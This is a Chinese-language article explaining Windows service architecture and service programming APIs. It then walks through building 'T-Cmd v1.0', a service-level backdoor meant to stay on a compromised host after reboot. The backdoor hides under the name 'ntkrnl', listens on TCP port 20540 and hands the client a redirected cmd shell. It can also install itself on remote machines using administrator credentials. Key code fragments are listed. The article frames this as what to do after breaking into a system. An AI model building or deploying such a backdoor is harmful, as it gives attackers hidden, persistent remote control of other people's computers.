一、序言
Windows下的服務程序都遵循服務控制管理器(SCM)的接口標准,它們會在登錄系統時自動運行,甚至在沒有用戶登錄系統的情況下也會正常執行,類似與UNIX系統中的守護進程(daemon)。它們大多是控制台程序,不過也有少數的GUI程序。本文所涉及到的服務程序僅限於Windows2000/XP系統中的一般服務程序,不包含Windows9X。
二、Windows服務簡介
服務控制管理器擁有一個在注冊表中記錄的數據庫,包含了所有已安裝的服務程序和設備驅動服務程序的相關信息。它允許系統管理員為每個服務自定義安全要求和控制訪問權限。Windows服務包括四大部分:服務控制管理器(Service Control Manager),服務控制程序(Service Control Program),服務程序(Service Program)和服務配置程序(Service Configuration Program)。
1.服務控制管理器(SCM)
服務控制管理器在系統啟動的早期由Winlogon進程啟動,可執行文件名是“Admin$\System32\Services.exe”,它是系統中的一個RPC服務器,因此服務配置程序和服務控制程序可以在遠程操縱服務。它包括以下幾方面的信息:
已安裝服務數據庫:服務控制管理器在注冊表中擁有一個已安裝服務的數據庫,它在服務控制管理器和程序添加,刪除,配置服務程序時使用,在注冊表中數據庫的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個子鍵的名字就代表一個對應的服務。數據庫中包括:服務類型(私有進程,共享進程),啟動類型(自動運行,由服務控制管理器啟動,無效),錯誤類型(忽略,常規錯誤,服務錯誤,關鍵錯誤),執行文件路徑,依賴信息選項,可選用戶名與密碼。
自動啟動服務:系統啟動時,服務控制管理器啟動所有“自啟”服務和相關依賴服務。服務的加載順序:順序裝載組列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個服務所依賴的服務程序。在系統成功引導後會保留一份LKG(Last-Know-Good)的配置信息位於:HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。
因要求而啟動服務:用戶可以使用服務控制面板程序來啟動一項服務。服務控制程序也可以使用StartService來啟動服務。服務控制管理器會進行下面的操作:獲取帳戶信息,登錄服務項目,創建服務為懸掛狀態,分配登錄令牌給進程,允許進程執行。
服務記錄列表:每項服務在數據庫中都包含了下面的內容:服務名稱,開始類型,服務狀態(類型,當前狀態,接受控制代碼,退出代碼,等待提示),依賴服務列表指針。
服務控制管理器句柄:服務控制管理器支持句柄類型訪問以下對象:已安裝服務數據庫,服務程序,數據庫的鎖開狀態。
2.服務控制程序(SCP)
服務控制程序可以執行對服務程序的開啟,控制和狀態查詢功能:
開啟服務:如果服務的開啟類型為SERVICE_DEMAND_START,就可以用服務控制程序來開始一項服務。在開始服務的初始化階段服務的當前狀態為:SERVICE_START_PENDING,而在初始化完成後的狀態就是:SERVICE_RUNNING。
向正在運行的服務發送控制請求:控制請求可以是系統默認的,也可以是用戶自定義的。標准控制代碼如下:停止服務(SERVICE_CONTROL_STOP),暫停服務(SERVICE_CONTROL_PAUSE),恢復已暫停服務(SERVICE_CONTROL_CONTINUE),獲得更新信息(SERVICE_CONTROL_INTERROGATE)。
3.服務程序
一個服務程序可能擁有一個或多個服務的執行代碼。我們可以創建類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個服務的服務程序。而類型為SERVICE_WIN32_SHARE_PROCESS的服務程序卻可以包含多個服務的執行代碼。詳情參見後面的Windows服務與編程。
4.服務配置程序
編程人員和系統管理員可以使用服務配置程序來更改,查詢已安裝服務的信息。當然也可以通過注冊表函數來訪問相關資源。
服務的安裝,刪除和列舉:我們可以使用相關的系統函數來創建,刪除服務和查詢所有服務的當前狀態。
服務配置:系統管理員通過服務配置程序來控制服務的啟動類型,顯示名稱和相關描述信息。
三、Windows服務與編程
Windows服務編程包括幾方面的內容,下面我們將從服務控制程序,服務程序和服務配置程序的角度介紹服務編程相關的內容。
1.服務控制程序
執行服務控制程序的相關函數前,我們需要獲得一個服務對象的句柄,方式有兩種:由OpenSCManager來獲得一台特定主機的服務控制管理器數據庫的句柄;使用OpenService或CreateService函數來獲得某個服務對象的句柄。
啟動服務:要啟動一個服務,服務控制程序可以使用StartService來實現。如果服務控制管理器數據庫被鎖定,那需要等待一定的時間然後再次測試StartService函數。當然也可以使用QueryServiceLockStatus函數來確認數據庫的當前狀態。在啟動成功完成時,那麼dwCurrentState參數將會返回SERVICE_RUNNING值。
服務控制請求:服務控制程序使用ControlService函數來發送控制請求到正在運行的服務程序。它會向控制句柄函數發送一個特定的控制命令,可以是系統默認的,也可以是用戶自定義的。而且每個服務都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數時,在返回的dwControlsAccepted參數中表明服務程序將會接收的控制命令。所有的服務都會接受SERVICE_CONTROL_INTERROGATE命令。
2.服務程序
一個服務程序內可以包含一個服務或多個服務的執行代碼,但是它們都擁有固定的三個部分:服務main函數,服務ServiceMain函數和服務Control Handler函數。
服務main函數:服務程序通常是以控制台的方式存在的,所以它們的入口點都是main函數。在服務控制管理器開始一個服務程序時,會等待StartServiceCtrlDispatcher函數的執行。如果服務類型是SERVICE_WIN32_OWN_PROCESS就會立即調用StartServiceCtrlDispatcher函數的執行;如果服務類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服務之後再調用它。StartServiceCtrlDispatcher函數的參數就是一個SERVICE_TABLE_ENTRY結構,它包含了進程內所有服務的名稱和服務入口點。
服務ServiceMain函數:函數ServiceMain是服務的入口點。在服務控制程序請求一個新的服務啟動時,服務控制管理器啟動一個服務,並發送一個開始請求到控制調度程序,而後控制調度程序創建一個新線程來執行ServiceMain函數。ServiceMain須執行以下的任務:調用RegisterServiceCtrlHandler函數注冊一個HandlerEx函數來向服務發送控制請求信息,返回值是服務狀態句柄用來向服務控制管理器傳送服務狀態。初始化後調用SetServiceStatus函數設置服務狀態為SERVICE_RUNNING。最後,就是執行服務所要完成的任務。
服務Control Handler函數:每個服務都有一個控制句柄HandlerEx函數。它會在服務進程從服務控制程序接收到一個控制請求時被控制調度程序所調用。無論何時在HandlerEx函數被調用時,都要調用SetServiceStatus函數向服務控制管理器報告它當前的狀態。在用戶關閉系統時,所有的控制句柄都會調用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數來接收NSERVICE_CONTROL_SHUTDOWN控制代碼。
3.服務配置程序
服務配置程序可以更改或查詢服務的當前配置信息。在調用服務配置函數之前,必須獲得一個服務對象的句柄,當然我們可以通過調用OpenSCManager,OpenService或CreateService函數來獲得。
創建,刪除服務:服務配置程序使用CreateService函數在服務控制管理器的數據庫中安裝一個新服務,它會提供服務的名稱和相關的配置信息並存儲在數據庫中。服務配置程序則使用DeleteService函數從數據庫中刪除一個已經安裝的服務。
四、服務級後門技術
在你進入某個系統後,往往會為自己留下一個或多個後門,以便今後的訪問。在上傳一個後門程序到遠程系統上後系統重啟之時,總是希望後門仍然存在。那麼,將後門程序創建成服務程序應該是個不錯的想法,這就是利用了服務程序自動運行的機制,當然在Windows2000的任務管理器裡也很難結束一個服務程序的進程。
創建一個後門,它常常會在一個端口監聽,以方便我們使用TCP/UDP協議與遠程主機建立連接,所以我們首先需要在後門程序裡創建一個監聽的端口,為了數據傳輸的穩定與安全,我們可以使用TCP協議。
那麼,我們如何才能模擬一個Telnet服務似的後門呢?我想大家都清楚,如果在遠程主機上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd裡執行命令,那麼就可以實現對遠程主機的控制了,至少可以執行各種常規的系統命令。啟動一個Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實在太簡單了。在使用CreateProcess時,要用到它的重定向標准輸入/輸出的選項功能,把在本地主機的輸入重定向輸入到遠程主機的Cmd進程,並且把遠程主機Cmd進程的標准輸出重定向到本地主機的標准輸出。這就需要在後門程序裡使用CreatePipe創建兩個管道來實現進程間的數據通信(Inter-Process Communication,IPC)。當然,還必須將遠程主機上Cmd的標准輸入和輸出在本地主機之間進行傳送,我們選擇TCP協議的send和recv函數。在客戶結束訪問後,還要調用TerminateProcess來結束創建的Cmd進程。
五、關鍵函數分析
本文相關程序T-Cmd v1.0是一個服務級的後門程序,適用平台為Windows2000/XP。它可自動為遠程/本地主機創建服務級後門,無須使用任何額外的命令,支持本地/遠程模式。重啟後,程序仍然自動運行,監聽端口20540/tcp。
1.自定義數據結構與函數
typedef struct
{
HANDLE hPipe;
//為實現進程間通信而使用的管道;
SOCKET sClient;
//與客戶端進行通信時的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標准輸入/輸出時使用的數據結構;
typedef struct PROCESSDATA
{
HANDLE hProcess;
//創建Cmd進程時獲得的進程句柄;
DWORD dwProcessId;
//創建Cmd進程時獲得的進程標識符;
struct PROCESSDATA *next;
//指向下一個數據結構的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結束訪問或刪除服務時為關閉所以的Cmd進程而創建的數據結構;
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務程序中的“ServiceMain”:注冊服務控制句柄,創建服務主線程;
void WINAPI CmdControl(DWORD);
//服務程序中的“HandlerEx”:處理接收到的控制命令,刪除已創建的Cmd進程;
DWORD WINAPI CmdService(LPVOID);
//服務主線程,創建服務監聽端口,在接受客戶連接時,創建重定向Cmd標准輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創建管道與Cmd進程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取信息後發送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠程模式,則須與遠程主機建立連接,注須提供管理員權限的用戶名與密碼,密碼為空時用"NULL"代替;
void InstallCmdService(char *);
//復制傳送文件,打開服務控制管理器,創建或打開服務程序;
void RemoveCmdService(char *);
//刪除文件,停止服務後,卸載服務程序;
2.服務程序相關函數
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務程序的名稱和入口點;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結構必須以“NULL”結束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務控制管理器,開始控制調度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注冊CmdControl函數為“HandlerEx”函數,並初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設置服務的當前狀態為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創建服務主線程,實現後門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止創建的Cmd進程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統目錄下服務程序的文件是否已經存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當前進程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//復制文件到系統目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開服務控制管理器數據庫;
CreateService(schSCManager,
"ntkrnl",
"ntkrnl",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
"ntkrnl.exe",
NULL,
NULL,
NULL,
NULL,
NULL);
//創建服務,參數包括名稱,服務類型,開始類型,錯誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務已經創建,則打開服務;
StartService(schService,0,NULL);
//啟動服務進程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務狀態;
DeleteService(schService);
//卸載服務程序;
DeleteFile(lpImagePath);
//刪除文件;
3.後門程序相關函數
hMutex=CreateMutex(NULL,FALSE,NULL);
//創建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創建處理客戶端訪問的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創建用於進程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創建經重定向輸入輸出的Cmd進程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進程的結束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中復制數據到緩沖區中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中復制數據到緩沖區中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的數據;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠程主機建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠程主機結束連接;
六、附錄
1.SC簡介
SC是一個與NT服務控制器,服務進程進行通信的控制台程序,它可以查詢和修改已安裝服務的數據庫。
語法:sc <server> [command] [service name] <option1> <option2>... ,選項<server>為“\\ServerName”的形式。
主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。
2.T-Cmd v1.0 源代碼
請見本文提供的配套示例源代碼
關於:
FZ5FZ,我們主要從事網絡/系統安全的學習與研究,深入編程技術的剖析與探討,堅持原創,追求共享。
本文配套源碼